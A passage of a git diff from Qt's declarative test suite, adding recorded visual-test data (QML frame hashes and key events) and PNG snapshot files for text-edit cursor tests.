+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3776
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3792
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3808
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3824
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3840
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3856
+ image: "wrap.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3888
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Frame {
+ msec: 3904
+ hash: "7c11ac5b8dfee4708b7b49c2a1a7db57"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3920
+ hash: "46a6db4f63965f019fc1966e2a6caf98"
+ }
+ Frame {
+ msec: 3936
+ hash: "46a6db4f63965f019fc1966e2a6caf98"
+ }
+ Frame {
+ msec: 3952
+ hash: "46a6db4f63965f019fc1966e2a6caf98"
+ }
+ Frame {
+ msec: 3968
+ hash: "46a6db4f63965f019fc1966e2a6caf98"
+ }
+ Frame {
+ msec: 3984
+ hash: "46a6db4f63965f019fc1966e2a6caf98"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4000
+ hash: "46a6db4f63965f019fc1966e2a6caf98"
+ }
+ Frame {
+ msec: 4016
+ hash: "46a6db4f63965f019fc1966e2a6caf98"
+ }
+ Key {
+ type: 6
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4032
+ hash: "abc8cf4650aa07a9a26ad04a082bc269"
+ }
+ Frame {
+ msec: 4048
+ hash: "abc8cf4650aa07a9a26ad04a082bc269"
+ }
+ Frame {
+ msec: 4064
+ hash: "abc8cf4650aa07a9a26ad04a082bc269"
+ }
+ Key {
+ type: 7
+ key: 79
+ modifiers: 0
+ text: "6f"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "abc8cf4650aa07a9a26ad04a082bc269"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4096
+ hash: "23ee54c88cd70b6c66137ce32702cf01"
+ }
+ Frame {
+ msec: 4112
+ hash: "23ee54c88cd70b6c66137ce32702cf01"
+ }
+ Frame {
+ msec: 4128
+ hash: "23ee54c88cd70b6c66137ce32702cf01"
+ }
+ Frame {
+ msec: 4144
+ hash: "23ee54c88cd70b6c66137ce32702cf01"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4160
+ hash: "23ee54c88cd70b6c66137ce32702cf01"
+ }
+ Frame {
+ msec: 4176
+ hash: "23ee54c88cd70b6c66137ce32702cf01"
+ }
+ Frame {
+ msec: 4192
+ hash: "23ee54c88cd70b6c66137ce32702cf01"
+ }
+ Key {
+ type: 6
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4208
+ hash: "dc0899573a995421b57a6689d300a421"
+ }
+ Frame {
+ msec: 4224
+ hash: "dc0899573a995421b57a6689d300a421"
+ }
+ Frame {
+ msec: 4240
+ hash: "dc0899573a995421b57a6689d300a421"
+ }
+ Frame {
+ msec: 4256
+ hash: "dc0899573a995421b57a6689d300a421"
+ }
+ Frame {
+ msec: 4272
+ hash: "dc0899573a995421b57a6689d300a421"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4288
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4304
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Frame {
+ msec: 4320
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Frame {
+ msec: 4336
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4352
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Frame {
+ msec: 4368
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Frame {
+ msec: 4384
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Frame {
+ msec: 4400
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Frame {
+ msec: 4416
+ hash: "4d42c63a0324c1573818ebb081d8927f"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4432
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Frame {
+ msec: 4448
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Frame {
+ msec: 4464
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4480
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Frame {
+ msec: 4496
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Frame {
+ msec: 4512
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Frame {
+ msec: 4528
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Frame {
+ msec: 4544
+ hash: "9d2239e4b71da17a6f8f2ef979f4bf85"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4560
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Frame {
+ msec: 4576
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Frame {
+ msec: 4592
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Frame {
+ msec: 4608
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4624
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Frame {
+ msec: 4640
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Frame {
+ msec: 4656
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Frame {
+ msec: 4672
+ hash: "289059d77547c9ec548b33d8bbe9fca9"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4688
+ hash: "4b60bfb67c5007b4054241e581ce92ac"
+ }
+ Frame {
+ msec: 4704
+ hash: "4b60bfb67c5007b4054241e581ce92ac"
+ }
+ Frame {
+ msec: 4720
+ hash: "4b60bfb67c5007b4054241e581ce92ac"
+ }
+ Frame {
+ msec: 4736
+ hash: "4b60bfb67c5007b4054241e581ce92ac"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4752
+ hash: "4b60bfb67c5007b4054241e581ce92ac"
+ }
+ Frame {
+ msec: 4768
+ hash: "4b60bfb67c5007b4054241e581ce92ac"
+ }
+ Frame {
+ msec: 4784
+ hash: "4b60bfb67c5007b4054241e581ce92ac"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4800
+ hash: "dbabce81e44f912d6a30ff4cc3289da8"
+ }
+ Frame {
+ msec: 4816
+ image: "wrap.5.png"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4832
+ hash: "dbabce81e44f912d6a30ff4cc3289da8"
+ }
+ Frame {
+ msec: 4848
+ hash: "dbabce81e44f912d6a30ff4cc3289da8"
+ }
+ Frame {
+ msec: 4864
+ hash: "dbabce81e44f912d6a30ff4cc3289da8"
+ }
+ Frame {
+ msec: 4880
+ hash: "dbabce81e44f912d6a30ff4cc3289da8"
+ }
+ Key {
+ type: 6
+ key: 46
+ modifiers: 0
+ text: "2e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4896
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 4912
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 4928
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 4944
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Key {
+ type: 7
+ key: 46
+ modifiers: 0
+ text: "2e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4960
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 4976
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 4992
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5008
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5024
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5040
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5056
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5072
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5088
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5104
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5120
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5136
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5152
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5168
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5184
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5200
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5216
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5232
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5248
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5264
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5280
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5296
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5312
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5328
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5344
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5360
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5376
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5392
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5408
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5424
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5440
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5456
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5472
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5488
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5504
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5520
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5536
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5552
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5568
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5584
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5600
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5616
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5632
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5648
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5664
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5680
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5696
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5712
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5728
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5744
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5760
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5776
+ image: "wrap.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5808
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5824
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5840
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5856
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5872
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5888
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5904
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5920
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5936
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5952
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5968
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 5984
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6000
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6016
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6032
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6048
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6064
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6080
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6096
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6112
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6128
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6144
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6160
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6176
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6192
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6208
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6224
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6240
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6256
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6272
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6288
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6304
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6320
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6336
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6352
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6368
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6384
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6400
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6416
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6432
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6448
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6464
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6480
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6496
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6512
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6528
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6544
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6560
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6576
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6592
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6608
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6624
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6640
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6656
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6672
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6688
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6704
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6720
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6736
+ image: "wrap.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6768
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6784
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6800
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6816
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6832
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6848
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+ Frame {
+ msec: 6864
+ hash: "e9633d239e0a9ca008ed033565322c24"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.0.png
new file mode 100644
index 00000000..be025e55
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.1.png
new file mode 100644
index 00000000..1b2cd047
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.2.png
new file mode 100644
index 00000000..2e56d47e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.3.png
new file mode 100644
index 00000000..8abdfc25
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.4.png
new file mode 100644
index 00000000..58428cee
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.5.png
new file mode 100644
index 00000000..3c23bd6b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.6.png
new file mode 100644
index 00000000..80b960c1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.7.png
new file mode 100644
index 00000000..72472771
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.8.png
new file mode 100644
index 00000000..af5a996b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.9.png
new file mode 100644
index 00000000..b254164f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.qml
new file mode 100644
index 00000000..96307455
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/cursorDelegate.qml
@@ -0,0 +1,1499 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "cursorDelegate.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "2fd338490edda276f7ee16232bf244d1"
+ }
+ Frame {
+ msec: 48
+ hash: "527a1c18503f580bcf926a70d9f30006"
+ }
+ Frame {
+ msec: 64
+ hash: "8b911c3e4a0fccf1dbeca50931780a2d"
+ }
+ Frame {
+ msec: 80
+ hash: "f631ad72bf36ccb0c5f3ff708f029b1b"
+ }
+ Frame {
+ msec: 96
+ hash: "d4099e6a2c1ff77a71231351f5bc32ff"
+ }
+ Frame {
+ msec: 112
+ hash: "0e531d158b1c14d6fc633e528846c336"
+ }
+ Frame {
+ msec: 128
+ hash: "5721d3397b9e66da4ee47a7f19107566"
+ }
+ Frame {
+ msec: 144
+ hash: "6647f5d3680f3523ec73b434d0c2f8da"
+ }
+ Frame {
+ msec: 160
+ hash: "73fb40e680c30b1a5fe95de9913a0591"
+ }
+ Frame {
+ msec: 176
+ hash: "c392c2599b29086a437afa292b06d63c"
+ }
+ Frame {
+ msec: 192
+ hash: "bcedd42d52bab532831b47c6ee2a99ac"
+ }
+ Frame {
+ msec: 208
+ hash: "089b150d5cc9315c6626edfc1bb66774"
+ }
+ Frame {
+ msec: 224
+ hash: "f6e83fdb13e4f00ba5004b081e2379ee"
+ }
+ Frame {
+ msec: 240
+ hash: "ca8336d47c002df3702a46be2b974ba7"
+ }
+ Frame {
+ msec: 256
+ hash: "f0d82431f1e35f76fd718af1d742cd13"
+ }
+ Frame {
+ msec: 272
+ hash: "78dc119673be7902ab25d508db771f04"
+ }
+ Frame {
+ msec: 288
+ hash: "2839bc67b7ac43353b976c2c7bc3b6c3"
+ }
+ Frame {
+ msec: 304
+ hash: "c1f9743c0505b6ca197c4bd0bbbd7bd3"
+ }
+ Frame {
+ msec: 320
+ hash: "2d714b10ce1e3e7dd1efb58ed4b62f90"
+ }
+ Frame {
+ msec: 336
+ hash: "c4f94bab5475eacfc757338ffd6d4a59"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 352
+ hash: "c5caa8a08f09203c005e1cd6d80e8ccc"
+ }
+ Frame {
+ msec: 368
+ hash: "c96896be1a311c0cedc1c7ec1bd9e13e"
+ }
+ Frame {
+ msec: 384
+ hash: "d3d6dc1d8ff93e373583e3cbdca88b81"
+ }
+ Frame {
+ msec: 400
+ hash: "2a456146359c54c52f9e7a6cebcfa454"
+ }
+ Frame {
+ msec: 416
+ hash: "d127788c702c2ed037c709ffc331840e"
+ }
+ Frame {
+ msec: 432
+ hash: "8a5987a736b092e12198d969544d632c"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "e8471c605f6a8cc187d879510ed7ebe7"
+ }
+ Frame {
+ msec: 464
+ hash: "6959b4f72422636ae59989c9def06d03"
+ }
+ Frame {
+ msec: 480
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Frame {
+ msec: 496
+ hash: "87d666ee3bcf7a606e2aecb4954cfb28"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 512
+ hash: "45a1fa0c871592f872574fdcd3fb586c"
+ }
+ Frame {
+ msec: 528
+ hash: "45a1fa0c871592f872574fdcd3fb586c"
+ }
+ Frame {
+ msec: 544
+ hash: "45a1fa0c871592f872574fdcd3fb586c"
+ }
+ Frame {
+ msec: 560
+ hash: "45a1fa0c871592f872574fdcd3fb586c"
+ }
+ Frame {
+ msec: 576
+ hash: "8567bf3fb7adb990501070fac62fda31"
+ }
+ Frame {
+ msec: 592
+ hash: "824b9fef000cfad45c86d180eb13c584"
+ }
+ Frame {
+ msec: 608
+ hash: "cb8989a5839bf284f0e8b3eb1bf68667"
+ }
+ Frame {
+ msec: 624
+ hash: "f23e6394ed3c2fc32c690095ccfc1a7f"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 640
+ hash: "d32d30ebd0c292e66314f6b6005701b9"
+ }
+ Frame {
+ msec: 656
+ hash: "4ebda51f84f73eb6891f9c71ffba4b92"
+ }
+ Frame {
+ msec: 672
+ hash: "9a97e8cdb84e96f08f2af468d146fb45"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "9cd5a0e60b7f679faba3dad78eac1ac3"
+ }
+ Frame {
+ msec: 704
+ hash: "2e18ff4ebead28620901d4a9ad050ffe"
+ }
+ Frame {
+ msec: 720
+ hash: "57a6a1bbfe4c4577e4334b63b977ca13"
